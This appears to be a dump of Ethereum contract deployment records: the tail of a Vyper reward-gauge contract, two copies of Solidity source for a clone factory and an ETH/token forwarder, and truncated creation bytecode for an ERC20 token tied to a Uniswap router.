ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for `addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,280
86ba61d016054d3fd2b00dd918b147b27e0a6209d78fac7987f6990a7844cedc
e055f791bf8d9733634506129d47da7eed638695f4ecef58a78048fc6fcf072e
099b1d292689be58f498f127f4e08fe4f0969bce
ffa397285ce46fb78c588a9e993286aac68c37cd
bdf5b8c21cb34ce1aa4cf0ed3096c9105e24598a
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,281
fda2a53ea31772a8134e4d4dbf44e3452b3bd65c1861173ce0d683a581c546e7
94ada3f0bd9c2174479d2536cad50356b0270c0097642abf64e1510e460a4df9
00bdb5699745f5b860228c8f939abf1b9ae374ed
ffa397285ce46fb78c588a9e993286aac68c37cd
b5fef0603d49a988c4b71af2fd03e73a9e3d3d94
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,282
c7775c2a88815b45ebd12e9d5d483106c439d3946d0f47b058d400aaa37e7ad3
4233986babaf5ae03a54612481e808fbf63857ed67495b1c4d7c2e03e61656c3
4c1049824394f18f4a27ca9e9593daaaf795d686
4c1049824394f18f4a27ca9e9593daaaf795d686
117a55c49278041a4640433d1bf1e6541eee865d
60c0604052600680546001600160a01b03191673a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48179055600b805462ffffff191660011790553480156200004657600080fd5b50604051806040016040528060068152602001652430b93832b960d11b815250604051806040016040528060068152602001652420a92822a960d11b81525081600390805190602001906200009d929190620005aa565b508051620000b3906004906020840190620005aa565b505050620000d0620000ca6200034b60201b60201c565b6200034f565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000f2816001620003a1565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200013d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000163919062000650565b6006546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620001b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001db919062000650565b6001600160a01b031660a0819052620001f6906001620003a1565b60096001600e8169be951906eba2aa8000006103e86200021882600d62000698565b620002249190620006ba565b6008556103e86200023782601462000698565b620002439190620006ba565b600a556127106200025682600562000698565b620002629190620006ba565b600955600d859055600e8490556200027b8486620006dd565b600c5560108390556011829055620002948284620006dd565b600f55600780546001600160a01b031916734c1049824394f18f4a27ca9e9593daaaf795d686179055620002dc620002d46005546001600160a01b031690565b60016200041b565b620002e93060016200041b565b620002f861dead60016200041b565b620003176200030f6005546001600160a01b031690565b6001620003a1565b62000324306001620003a1565b6200033361dead6001620003a1565b6200033f3382620004c5565b50505050505062000735565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620003f05760405162461bcd60e51b81526020600482018190526024820152600080516020620025ec83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314620004665760405162461bcd60e51b81526020600482018190526024820152600080516020620025ec8339815191526044820152606401620003e7565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200051d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003e7565b8060026000828254620005319190620006dd565b90915550506001600160a01b0382166000908152602081905260408120805483929062000560908490620006dd565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620005b890620006f8565b90600052602060002090601f016020900481019282620005dc576000855562000627565b82601f10620005f757805160ff191683800117855562000627565b8280016001018555821562000627579182015b82811115620006275782518255916020019190600101906200060a565b506200063592915062000639565b5090565b5b808211156200063557600081556001016200063a565b6000602082840312156200066357600080fd5b81516001600160a01b03811681146200067b57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620006b557620006b562000682565b500290565b600082620006d857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620006f357620006f362000682565b500190565b600181811c908216806200070d57607f821691505b602082108114156200072f57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051611e606200078c600039600081816103fd015281816112590152818161146a0152818161157a0152818161162301526116dd0152600081816102fe015281816119be01526119fd0152611e606000f3fe6080604052600436106102555760003560e01c80638da5cb5b11610139578063c8c8ebe4116100b6578063f11a24d31161007a578063f11a24d31461072e578063f2fde38b14610744578063f637434214610764578063f726de1b1461077a578063f8b45b051461079a578063fb201b1d146107b057600080fd5b8063c8c8ebe414610686578063d257b34f1461069c578063d85ba063146106bc578063dd62ed3e146106d2578063e2f456051461071857600080fd5b8063a0d82dc5116100fd578063a0d82dc5146105f1578063a9059cbb14610607578063bbc0c74214610627578063be2172